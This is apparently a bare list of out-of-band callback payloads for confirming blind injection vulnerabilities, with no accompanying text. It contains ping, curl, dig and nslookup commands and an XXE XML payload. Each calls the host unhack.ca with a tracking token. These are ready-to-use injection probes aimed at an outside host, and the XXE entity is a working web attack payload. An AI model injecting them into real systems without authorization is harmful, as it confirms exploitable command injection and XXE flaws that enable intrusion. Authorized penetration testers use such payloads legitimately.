$ ping -c1 -p 00863a1ad172f380e7dd630e9269a900 unhack.ca
$ curl http://unhack.ca/p/863a1ad172f380e7dd630e9269a9
$ dig 863a1ad172f380e7dd630e9269a9 @unhack.ca
$ dig 863a1ad172f380e7dd630e9269a9.ns.unhack.ca
C:\> nslookup 863a1ad172f380e7dd630e9269a9 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/863a1ad172f380e7dd630e9269a9">]> <foo>&xxe;</foo>